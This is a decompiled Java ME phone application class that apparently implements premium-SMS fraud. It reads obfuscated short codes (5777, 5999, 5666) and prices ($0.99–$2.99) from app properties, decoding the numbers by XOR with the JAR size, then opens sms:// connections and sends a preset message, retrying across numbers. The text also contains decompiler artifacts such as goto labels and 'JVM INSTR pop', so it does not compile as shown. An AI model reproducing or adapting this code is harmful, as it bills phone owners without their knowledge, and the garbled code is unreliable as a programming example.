import javax.microedition.io.Connection; import javax.microedition.io.Connector; import javax.microedition.midlet.MIDlet; import javax.wireless.messaging.MessageConnection; import javax.wireless.messaging.TextMessage; import phone.Midlet; public final class s { public static String a_java_lang_String_static_fld = "WAP-Link"; public static String b_java_lang_String_static_fld = "SMS-Number"; public static String c_java_lang_String_static_fld = "SMS-Content"; public static String d = "SMS-Price"; public static String a_java_lang_String_array1d_static_fld[] = { "5777", "5999", "5666" }; public static String e = "0"; public static String f; public static String b_java_lang_String_array1d_static_fld[] = { "$2.99", "$1,99", "$0.99" }; public static String c_java_lang_String_array1d_static_fld[] = null; public static String g; public static byte a_byte_static_fld = 1; public static boolean a_boolean_static_fld = false; public static int a_int_static_fld = -1; public s() { } public static void a() { String s1 = null; if((s1 = Midlet.a.getAppProperty("MIDlet-Jar-Size")) != null && s1 != "") try { a_int_static_fld = Integer.parseInt(s1); } catch(Exception _ex) { } if(a_int_static_fld > 0) { String s2; if((s2 = Midlet.a.getAppProperty("Property-SMS-Number")) != null && s2 != "") b_java_lang_String_static_fld = s2; if((s2 = Midlet.a.getAppProperty("Property-SMS-Content")) != null && s2 != "") c_java_lang_String_static_fld = s2; if((s2 = Midlet.a.getAppProperty("Property-SMS-Price")) != null && s2 != "") d = s2; if((s2 = Midlet.a.getAppProperty(b_java_lang_String_static_fld)) != null && s2 != "") a_java_lang_String_array1d_static_fld[0] = "" + (Integer.parseInt(s2) + 54321 ^ a_int_static_fld << 2); if((s2 = Midlet.a.getAppProperty(b_java_lang_String_static_fld + "2")) != null) a_java_lang_String_array1d_static_fld[1] = "" + (Integer.parseInt(s2) + 54321 ^ a_int_static_fld << 2); if((s2 = Midlet.a.getAppProperty(b_java_lang_String_static_fld + "3")) != null) a_java_lang_String_array1d_static_fld[2] = "" + (Integer.parseInt(s2) + 54321 ^ a_int_static_fld << 2); if((s2 = Midlet.a.getAppProperty(d)) != null && s2 != "") b_java_lang_String_array1d_static_fld[0] = s2.toLowerCase(); if((s2 = Midlet.a.getAppProperty(d + "2")) != null) b_java_lang_String_array1d_static_fld[1] = s2.toLowerCase(); if((s2 = Midlet.a.getAppProperty(d + "3")) != null) b_java_lang_String_array1d_static_fld[2] = s2.toLowerCase(); if((s2 = Midlet.a.getAppProperty(c_java_lang_String_static_fld)) != null && s2 != "") f = s2; if((s2 = Midlet.a.getAppProperty(a_java_lang_String_static_fld)) != null && s2 != "") n.b = s2; } a(a_java_lang_String_array1d_static_fld[0], f); System.gc(); } public static void a(String s1, String s2) { c_java_lang_String_array1d_static_fld = (new String[] { "sms://" + s1, "sms://" + s1 + ":" + e }); g = s2; } public static boolean a() { MessageConnection messageconnection; int i; a_boolean_static_fld = true; a_byte_static_fld = 1; messageconnection = null; Object obj = null; i = 0; _L3: if(i >= 4) goto _L2; else goto _L1 _L1: if(c_java_lang_String_array1d_static_fld[b.f[i]] == null) { messageconnection = null; System.gc(); continue; /* Loop/switch isn't completed */ } messageconnection = null; TextMessage textmessage; (textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(c_java_lang_String_array1d_static_fld[b.f[i]])).newMessage("text")).setPayloadText(g); messageconnection.close(); if(i > 0) { int j = b.f[0]; b.f[0] = b.f[i]; b.f[i] = j; } a_byte_static_fld = 0; if(messageconnection != null) try { messageconnection.close(); } catch(Exception _ex) { } System.gc(); break; /* Loop/switch isn't completed */ JVM INSTR pop ; if(i == 3) a_byte_static_fld = -1; if(messageconnection != null) try { messageconnection.close(); } catch(Exception _ex) { } messageconnection = null; System.gc(); continue; /* Loop/switch isn't completed */ Exception exception; exception; if(messageconnection != null) try { messageconnection.close(); } catch(Exception _ex) { } System.gc(); throw exception; i++; goto _L3 _L2: a_boolean_static_fld = false; return a_byte_static_fld == 0; } static { f = "100+aq210cf"; g = f; } }